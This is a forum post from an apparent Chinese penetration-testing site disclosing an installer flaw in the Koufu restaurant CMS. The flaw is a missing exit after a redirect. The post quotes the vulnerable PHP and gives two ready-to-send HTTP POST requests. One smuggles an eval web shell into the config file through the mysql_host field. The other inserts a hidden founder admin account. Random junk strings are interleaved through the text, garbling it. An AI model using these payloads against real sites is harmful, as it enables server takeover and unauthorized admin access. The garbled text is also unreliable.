中国网络渗透测试联盟
标题:
口福科技餐厅cms漏洞(可getshell)
[打印本页]
作者:
admin
时间:
2012-12-4 11:13
标题:
口福科技餐厅cms漏洞(可getshell)
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
0 g4 W1 B- Y- B% R
( o5 N" V* i2 R5 a' |: z
<?php
$ a, S# J' ^3 Y1 z' ]2 j l
if(file_exists("../install.lock"))
2 `8 K2 W/ F& `
{
3 f/ x7 T0 L! V/ o
header("Location: ../");//没有退出
. e" [6 E( {" a- Y6 F+ o0 r/ ?' g
}
( c# _8 ^8 F8 U
2 t1 w n2 v4 N7 C5 R
//echo 'tst';exit;
- e8 W& {& [. U! w5 @ r# _: q! ?
require_once("init.php");
0 y2 P- C7 R b) l0 T6 V! m4 B* l* T" P
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
" f8 u5 g; G, A# V- `% l* n
{
3 [# C1 y7 O0 R
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
7 Z5 J6 K/ B: }5 V
3 o) S! L, j# K0 Y4 F" h" Q( e- F! d
1、getshell(很危险)
0 V( h8 w) Z( v9 c
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
) I1 Z* E: y$ Q% f4 K: Q: z5 B8 J
{
+ l5 ?4 D* f9 [+ R& p0 ]. t
$smarty->assign("step",1);
# b; F3 B# C; W- I& Q( k) Q
$smarty->display("index.html");
- Y( k8 k1 c8 B5 k
}elseif($_REQUEST['step']==2)
& b2 V D7 ~! X* |
{
9 P$ J) w0 y: h: z/ s
$mysql_host=trim($_POST['mysql_host']);
. F) j: M# t R8 C$ E
$mysql_user=trim($_POST['mysql_user']);
# g4 l) \5 ^0 e ]* r
$mysql_pwd=trim($_POST['mysql_pwd']);
" S5 i7 W+ g8 E `' H
$mysql_db=trim($_POST['mysql_db']);
0 m) R8 ]! _9 V$ a5 V3 H2 i9 h
$tblpre=trim($_POST['tblpre']);
# P9 k2 ]. g/ K1 r$ j) [3 b
$domain==trim($_POST['domain']);
1 k: l" H- P& W* E2 {9 X
$str="<?php \r\n";
/ J8 H W- v) N) i- Q5 M+ V
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
/ ]+ K$ {- s+ V* R
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
2 f6 ]7 |* T# u" h# z ]
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
! K! M7 x' z; W& n* Q7 }
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
# G3 r! b7 D( e4 @- I) s
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
+ ^7 i, M b/ r, U" O
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
; s* r& ^5 I' P+ n1 \
$str.='define("DOMAIN","'.$domain.'");'."\r\n";
% e! F7 D, a3 ]4 {5 i$ L
$str.='define("SKINS","default");'."\r\n";
- q4 v, O8 r& @7 N. ^; U, A+ x# @
$str.='?>';
8 I% x0 `' Y( V/ G2 S$ \- z* n
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
9 X, y2 ~7 ~ A5 |. P
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
9 L6 Q, M/ S. E/ v1 p3 A
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
: \2 I y$ O: r
Host: 192.168.80.129
- P |; c, f2 F8 J# u9 I. x
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
3 X* v$ L+ u# F% J- T0 V; c
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
" w! d1 K' Q9 Q# \; b: K( l- _) Q
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
) H7 b' X4 R5 V; ^8 ]
Accept-Encoding: gzip, deflate
5 ~$ Q, ?) S8 F; o3 y, a' y
Referer:
http://192.168.80.129/canting/install/index.php?step=1
4 o! n6 z* C: [8 N( @7 d
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
% _/ p$ D& E' C% [
Content-Type: application/x-www-form-urlencoded
+ I2 j2 }' B5 n. I7 C( n& ?
Content-Length: 126
h7 i2 E5 q1 T( E
9 E. _1 N8 E+ w. i. F% F7 S1 h6 Q
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
; E1 z5 q. ~% r/ W7 T
但是这个方法很危险,将导致网站无法运行。
7 L/ ]. O- ^( e5 Q( J# e, `9 u; p
2 q% P$ V8 a1 G
2、直接添加管理员
$ f; n5 |/ {: \
% m/ [ ]6 y7 V$ T8 }
elseif($_REQUEST['step']==5)
0 n q" s& ]* p$ }( ]; G: {; A0 h( \$ K
{
7 Q/ h9 q, K, X. p" g. Q1 U
if($_POST)
+ t& v% X) u$ I9 ~+ N- i
{ require_once("../config/config.inc.php");
2 i, y! z4 i/ D% A) f
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
2 z2 F8 G7 R; r) I Z
mysql_select_db(MYSQL_DB,$link);
/ E. N k3 g. K
mysql_query("SET NAMES ".MYSQL_CHARSET );
* t- [; Z8 y, F7 ]4 ]' g5 |
mysql_query("SET sql_mode=''");
; q0 P/ ]* @/ e; \3 B0 U" s% V/ ~
2 S: V; N- ~" }$ O5 P
$adminname=trim($_POST['adminname']);
6 s5 r% S& Z7 b. y
$pwd1=trim($_POST['pwd1']);
$ W7 I3 `; M3 s2 R
$pwd2=trim($_POST['pwd2']);
/ _& v. w. M( a
if(empty($adminname))
" l: P- y* r, k( ^' Q# [
{
! R6 F0 _& @9 R' d
/ @7 S/ S9 l8 a' m4 i2 ^
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
4 ]- W& Q v. ^3 [
exit();
8 l9 M2 T, N2 \
}
* @+ W T1 I# w+ R8 l) u
if(($pwd1!=$pwd2) or empty($pwd1))
5 g8 s P Z" I: A, h
{
- g/ |/ V7 s; Q4 s _( i1 u. S
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
' Q6 Q/ z9 Z1 X1 N( z) c* S# Y
}
/ Z# K: X) r& K" ~& D; L o4 L
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
. x" f# l5 \7 Z' X* L, V
}
7 j, C6 D4 F6 R6 U: Q
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
" _% d2 d* m: O8 o" i% ~+ s7 M. {
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
# u* F- i/ T! ?" O
Host: 192.168.80.129
( M+ \; m9 Z9 D( _( u! m/ {
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
- q4 S; b9 Z: X' ]* U
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
0 _: @, ^1 g& `0 e* g" s
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
$ s7 F. S, W( f: S
Accept-Encoding: gzip, deflate
. I& C% N) s$ j0 q
Referer:
http://www.2cto.com
/canting/install/index.php?step=1
% b" _& z4 G/ @
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
+ z) Q$ E& ]5 F, T
Content-Type: application/x-www-form-urlencoded
; W$ A4 P. R0 h$ r& R
Content-Length: 46
+ b. B5 E9 \8 u- s# b
7 Z: S! E0 z$ }( f
adminname=qingshen&pwd1=qingshen&pwd2=qingshen
3 \. K0 W) F+ H' K
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2